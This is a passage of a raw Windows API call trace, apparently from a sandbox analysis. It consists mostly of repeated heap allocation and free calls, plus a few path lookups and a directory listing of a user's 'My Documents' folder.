dwFlags=0x0, lpMem=0x327d618 | out: hHeap=0x5d0000) returned 1 [0067.314] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d618 [0067.314] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.314] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.314] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d618 | out: hHeap=0x5d0000) returned 1 [0067.314] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d618 [0067.314] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.314] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.314] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d618 | out: hHeap=0x5d0000) returned 1 [0067.314] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d618 [0067.314] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.315] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.315] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d618 | out: hHeap=0x5d0000) returned 1 [0067.315] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d618 [0067.315] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.315] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.315] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d618 | out: hHeap=0x5d0000) returned 1 [0067.315] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d618 [0067.315] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.315] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.315] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d618 | out: hHeap=0x5d0000) returned 1 [0067.315] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d618 [0067.315] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.315] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.315] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d618 | out: hHeap=0x5d0000) returned 1 [0067.315] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d618 [0067.315] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.315] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.315] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d618 | out: hHeap=0x5d0000) returned 1 [0067.315] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d618 [0067.315] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.315] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0067.315] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.315] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.315] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d618 | out: hHeap=0x5d0000) returned 1 [0067.315] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d618 [0067.315] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.315] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.315] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d618 | out: hHeap=0x5d0000) returned 1 [0067.315] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d618 [0067.315] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.315] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.315] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d618 | out: hHeap=0x5d0000) returned 1 [0067.315] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d618 [0067.315] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.315] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.315] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d618 | out: hHeap=0x5d0000) returned 1 [0067.316] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d618 [0067.316] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.316] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.316] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d618 | out: hHeap=0x5d0000) returned 1 [0067.316] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d618 [0067.316] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.316] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.316] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d618 | out: hHeap=0x5d0000) returned 1 [0067.316] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d618 [0067.316] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.316] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0067.316] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.316] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.316] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d618 | out: hHeap=0x5d0000) returned 1 [0067.316] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d618 [0067.316] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.316] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.316] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d618 | out: hHeap=0x5d0000) returned 1 [0067.316] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d618 [0067.316] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.316] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.316] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d618 | out: hHeap=0x5d0000) returned 1 [0067.316] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d618 [0067.316] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.316] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.316] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d618 | out: hHeap=0x5d0000) returned 1 [0067.316] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d618 [0067.316] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.316] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.316] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d618 | out: hHeap=0x5d0000) returned 1 [0067.316] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d618 [0067.316] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.316] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.316] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d618 | out: hHeap=0x5d0000) returned 1 [0067.316] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d618 [0067.316] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.317] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.317] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d618 | out: hHeap=0x5d0000) returned 1 [0067.317] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d618 [0067.317] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\") returned="My Documents\\" [0067.317] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eb88 [0067.317] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3286da0 [0067.317] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d618 | out: hHeap=0x5d0000) returned 1 [0067.317] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0067.317] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x31830e8 [0067.317] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eb88 | out: hHeap=0x5d0000) returned 1 [0067.317] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eb88 [0067.317] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3286da0 | out: hHeap=0x5d0000) returned 1 [0067.317] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0067.317] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eb88 | out: hHeap=0x5d0000) returned 1 [0067.317] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0067.317] PathFindFileNameW (pszPath="") returned="" [0067.317] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d618 [0067.317] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78f7d4b0, ftCreationTime.dwHighDateTime=0x1d4c717, ftLastAccessTime.dwLowDateTime=0x9c481e60, ftLastAccessTime.dwHighDateTime=0x1d4c8a8, ftLastWriteTime.dwLowDateTime=0x9c481e60, ftLastWriteTime.dwHighDateTime=0x1d4c8a8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="okHQRb", cAlternateFileName="")) returned 0xffffffff [0067.317] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d618 | out: hHeap=0x5d0000) returned 1 [0067.317] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31830e8 | out: hHeap=0x5d0000) returned 1 [0067.317] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d270 | out: hHeap=0x5d0000) returned 1 [0067.317] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0067.317] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325d340 [0067.317] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0067.318] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.318] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.318] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.318] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.318] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.318] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.318] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.318] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.318] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.318] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.318] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.318] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.318] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.318] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.318] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.318] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.318] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.318] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.318] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.318] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.318] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.318] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.318] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.318] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.318] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.318] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.318] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0067.318] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.318] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.318] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.318] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.319] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.319] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.319] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.319] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.319] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.319] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.319] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.319] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.319] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.319] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.319] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.319] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.319] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.319] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.319] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.319] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.319] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.319] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.319] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.319] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.319] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.319] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.319] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.319] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.319] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.319] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.319] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.319] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.319] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.319] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.319] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.319] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.319] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.319] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.320] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.320] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.320] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.320] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.320] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.320] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.320] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.320] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.320] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.320] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.320] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.320] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.320] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.320] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.320] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.320] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.320] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.320] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.320] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.320] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.320] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.320] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.320] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.320] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.320] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.320] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.320] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.320] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0067.320] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.320] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.320] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.320] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.320] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.320] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.321] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.321] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.321] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.321] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0067.321] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.321] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.321] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.321] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.321] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.321] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.321] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.321] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.321] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.321] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.321] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.321] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.321] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.321] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.321] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.321] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.321] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.321] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.321] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.321] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.321] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.321] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0067.321] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.321] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.321] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.321] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.321] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.322] HeapFree (in: 